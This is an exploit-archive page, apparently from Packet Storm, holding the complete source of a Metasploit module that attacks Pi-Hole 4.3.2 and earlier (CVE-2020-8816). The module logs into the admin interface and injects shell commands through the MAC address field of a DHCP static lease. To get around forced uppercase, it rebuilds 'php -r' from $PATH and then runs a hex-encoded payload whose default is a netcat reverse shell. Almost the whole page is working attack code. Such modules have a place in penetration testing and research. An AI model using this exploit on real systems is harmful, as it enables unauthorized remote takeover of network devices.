exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Pi-Hole 4.3.2 DHCP MAC OS Command Execution

Pi-Hole 4.3.2 DHCP MAC OS Command Execution
Posted May 28, 2020
Authored by h00die, nateksec | Site metasploit.com

This Metasploit module exploits a command execution in Pi-Hole versions 4.3.2 and below. A new DHCP static lease is added with a MAC address which includes a remote code execution issue.

tags | exploit, remote, code execution
advisories | CVE-2020-8816
SHA-256 | 359e5af00d21f40799f66c4def97b9142ec248ec7b78fc2f54d6c7286881fa62

Pi-Hole 4.3.2 DHCP MAC OS Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pi-Hole DHCP MAC OS Command Execution',
'Description' => %q{
This exploits a command execution in Pi-Hole <= 4.3.2. A new DHCP static lease is added
with a MAC address which includes an RCE. Exploitation requires /opt/pihole to be first
in the $PATH due to exploitation constraints. DHCP server is not required to be running.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'nateksec' # original PoC, discovery
],
'References' =>
[
['URL', 'https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/'],
['CVE', '2020-8816']
],
'Platform' => ['unix'],
'Privileged' => false,
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Automatic Target', {}]
],
'DisclosureDate' => 'Mar 28 2020',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
},
'Payload' => {
'BadChars' => "\x00"
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
]
)
end

def check
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200

# vDev (HEAD, v4.3-0-g44aff72)
# v4.3
%r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d\.]+)\)?.*<b>}m =~ res.body

if version && Gem::Version.new(version) <= Gem::Version.new('4.3.2')
vprint_good("Version Detected: #{version}")
return CheckCode::Appears
else
vprint_bad("Version Detected: #{version}")
return CheckCode::Safe
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
CheckCode::Safe
end

def login(cookie)
vprint_status('Login required, attempting login.')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'cookie' => cookie,
'vars_get' => {
'tab' => 'piholedhcp'
},
'vars_post' => {
'pw' => datastore['PASSWORD']
},
'method' => 'POST'
)
end

def add_static(payload, cookie, token)
# we don't use vars_post due to the need to have duplicate fields
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'method' => 'POST',
'vars_get' => {
'tab' => 'piholedhcp'
},
'data' => [
'AddMAC=',
'AddIP=',
'AddHostname=',
"AddMAC=#{URI.encode_www_form_component(payload)}",
"AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", #to_i to remove leading 0s
"AddHostname=#{rand_text_alphanumeric(8..12)}",
'addstatic=',
'field=DHCP',
"token=#{URI.encode_www_form_component(token)}"
].join('&')
)
end

def exploit
if check != CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end

begin
@macs = []
# get cookie
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
)
cookie = res.get_cookies
print_status("Using cookie: #{cookie}")

# get token
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'cookie' => cookie,
'vars_get' => {
'tab' => 'piholedhcp'
}
)

# check if we got hit by a login prompt
if res && res.body.include?('Sign in to start your session')
res = login(cookie)
end

if res && res.body.include?('Sign in to start your session')
fail_with(Failure::BadConfig, 'Incorrect Password')
end

# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">
# may also include /
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body

unless token
fail_with(Failure::UnexpectedReply, 'Unable to find token')
end
print_status("Using token: #{token}")

# from the excellent writeup about the vuln:
# The biggest difficulty in exploiting this vulnerability is that the user input is
# capitalized through a call to "strtoupper". Because of this, no lower case character
# can be used in the resulting injection.

# we'd like to execute something similar to this:
# aaaaaaaaaaaa&&php -r 'PAYLOAD'
# however, we need to pull p, h, and r from the system due to all input getting capitalized
# this is performed by pulling them from the $PATH which should be something like
# /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# first payload we send is to check that this is in the path to verify exploitation is possible
mac = rand_text_hex(12).upcase
@macs << mac
vprint_status("Validating path with MAC: #{mac}")
res = add_static("#{mac}$PATH", cookie, token)

# ruby regex w/ interpolate and named assignments needs to be in .match instead of =~
env = res.body.match(/value="#{mac}(?<env>.*)">/)
if env && env[:env].starts_with?('/opt/pihole')
print_good("System env path exploitable: #{env[:env]}")
else
msg = '/opt/pihole not in path. Exploitation not possible.'
if env
msg += " Path: #{env[:env]}"
end
fail_with(Failure::UnexpectedReply, msg)
end

# once we have php -r, we then need to pass a payload. So we do this via php command
# exec on hex2bin since our payload in hex caps will still get processed and executed.

mac = rand_text_hex(12).upcase
@macs << mac
print_status("Payload MAC will be: #{mac}")
shellcode = "#{mac}&&" # mac address, arbitrary
shellcode << 'W=${PATH#/???/}&&'
shellcode << 'P=${W%%?????:*}&&'
shellcode << 'X=${PATH#/???/??}&&'
shellcode << 'H=${X%%???:*}&&'
shellcode << 'Z=${PATH#*:/??}&&'
shellcode << 'R=${Z%%/*}&&$'
shellcode << "P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(" # php -r exec(hex2bin(
shellcode << '"'
shellcode << payload.encoded.unpack('H*').join('') # hex encode payload
shellcode << '"));'
shellcode << "'&&"

vprint_status("Shellcode: #{shellcode}")
print_status('Sending Exploit')
add_static(shellcode, cookie, token)

# we don't use vars_post due to the need to have duplicate fields
ip = '192.168'
2.times {ip="#{ip}.#{rand_text_numeric(1..2).to_i}"} #to_i removes leading zeroes
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'method' => 'POST',
'vars_get' => {
'tab' => 'piholedhcp'
},
'data' => [
'AddMAC=',
'AddIP=',
'AddHostname=',
"AddMAC=#{URI.encode_www_form_component(shellcode)}",
"AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", #to_i to remove leading 0s
"AddHostname=#{rand_text_alphanumeric(3..8)}",
'addstatic=',
'field=DHCP',
"token=#{URI.encode_www_form_component(token)}"
].join('&')
)

# entries are written to /etc/dnsmasq.d/04-pihole-static-dhcp.conf
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end

end

def on_new_session(session)
super
@macs.each do |mac|
print_status("Attempting to clean #{mac} from config")
session.shell_command_token("sudo pihole -a removestaticdhcp #{mac}")
end
end
end
Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close